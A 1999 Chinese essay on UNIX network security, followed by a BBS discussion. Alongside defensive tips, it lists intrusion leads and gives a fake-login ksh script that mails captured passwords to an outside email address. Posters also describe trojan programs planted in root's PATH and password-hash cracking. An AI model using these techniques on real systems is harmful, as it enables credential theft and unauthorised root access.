簟NIX系统安全(二)
日期：1999-10-15
当你为用户精心设计了一系列安全措施后，用户总会觉着有点“玄”。他凭什么为这样的网络就是“安全”的呢？是根据设计方案的厚度？还是他为此所花的钱数？到底如何评价一个网络的安全性呢？曾听说过这样的定义：“网络的安全程度定义为该网络被攻击成功的可能性”，听起来倒是蛮有哲理味儿的，可如何实际操作呢？计算机系统的安全程度可以用“橘皮书”的定义来评价，网络系统是不是也可以搞出个“橘皮书”什么的呢？
当你左一层右一层地对信息加密时，心里也许认为层数越多就越安全。但事实是不是真的这样呢？当你又加了一层密时，到底增加了多少的安全性呢？
“喏，你看....”，你指着自己的设计对用户说“即使有人突破了第一道防线，我们还有第二道防线呢。即使第二道也被突破，我们仍然有第三道、第四....”。可怜的用户望着得意洋洋的你，心里不禁嘀咕：“干嘛搞这么复杂....真的非这样不可吗？我可是只是想保证两个星期的安全性啊。”
为了防止大灰狼进来，小猪们把门窗都横七竖八地钉了个死死的。可是大灰狼会不会从别处进来呢？比如说....壁炉的烟囱！聪明的小猪们在壁炉里烧起了一锅开水....。小猪们是聪明的，我们的系统管理员们呢？
计算机系统的安全性依靠一种“访问控制模型”来进行。有没有可能建立一个“网络安全模型”并对它进行形式化的证明，以便从理论上深入开展网络安全的研究？这样就可以摆脱目前的被动地“打补丁”的做法。
网络入侵和网络安全是一对矛盾，没有Hacker高手就不会有好的安全系统。这听起来有些悲哀，可惜是事实。为了提高我们的安全防范能力，我看是不是先培养一批Hacker出来（中国的Hacker太少了）。在此提供几条线索供Hacker们参考：
用过Solaris的snoop命令吗？
用它可以“听到”同一共享网段内的其他用户的口令（当然包括超级用户的）。
sendmail
5.5.9版本以前有个debug命令，
是个强有力的远程调试工具，可惜也是一个大bug。
冒充路由器可以看到所有往来的信息，RIP协议没有身份认证的部分，虽然OSPF协议中有关于身份认证的部分，但很少有人用到。
NFS、NIS都是不太安全的。
1988年的WORM网络病毒最厉害的地方并不是传说中的利用
sendmail的缺陷，而是对看来毫无破绽的finger的攻击！
很多系统管理员为了关机方便而设立了halt之类的特殊用户，
怎样利用这一点来攻击呢？
侵入了一个系统之后，如何“打扫战场”让管理员看不出来？
如何潜伏下来以致于管理员除了重新安装系统，别无清除的办法呢？
....
这些东西都不是我凭空想象的，国外的Hacker们就是这么做的（他们还有很多更厉害的招数呢）。很多东西我也不知道该怎么做，Hacker们自己努力吧。
1-----
:
1).用过Solaris的snoop命令吗？
用它可以“听到”同一共享网段内的其他用户:
的口令（当然包括超级用户的）。
:
3).冒充路由器可以看到所有往来的信息，RIP协议没有身份认证的部分，虽然:
OSPF协议中有关于身份认证的部分，但很少有人用到。
这两个是取得口令的最简洁之法,
呵呵.
-------
我也有一简洁之法:
把下面的shell
命令用
ksh
运行
clear
stty
ignbrk
echo
"login:\c"
read
logname
stty
-echo
echo
"password:\c"
read
passwd
"\nLogin
incorrect\n"
$logname
$passwd
|
cxterm.bbs@jet.ncic.ac.cn
stty
0
stty
echo
exit
-----
嗯，是一种方法，但必须你能访问对方的机器才能偷到口令。常用的方法
还有在自己能用的目录里放上叫
"ls"
"grep"
之类的程序,
希望
root能不小心运行到她们,
一旦获得
root
权限,
呵呵,
下面的我就不用说了.
所以
root
的PATH里不应当有
.
(当前目录).
更彻底的方法就是根据passwd文件里面的密文算口令的明文,
我曾经编过
一个算passwd的程序,
能在
Pentium
100机器上用半个小时左右的时间算出长度<=5
&&
只包含字母和数字
的口令.
因此选口令的时候要注意.
用jack14既可，攻击得当的话6位不含大写字母的pass也能在一月内破掉。
这一方法要求必须取得对方含有密文的passwd文件(有shadow
passwd的机器上需要取得/etc/shadow),
所以要注意机器上passwd的安全性
(不要试图取消用户对该文件的读权限,
所有的用户都需要能读该文件).
-----
解决的办法，
可以用firewall屏蔽网段。
也可以使用SSL(secure
socket
layber)替代原有的socket明文数据传输。
-----
:
若干机器上都是用户可以直接su
halt,
然后就成为超级用户了,
:
有的机器你可以用rlogin
hostname
-l
halt
对方的机器就被shutdown了,:
哈哈.
我用su
halt
然后就shutdown了.
有n个文件没有存盘.
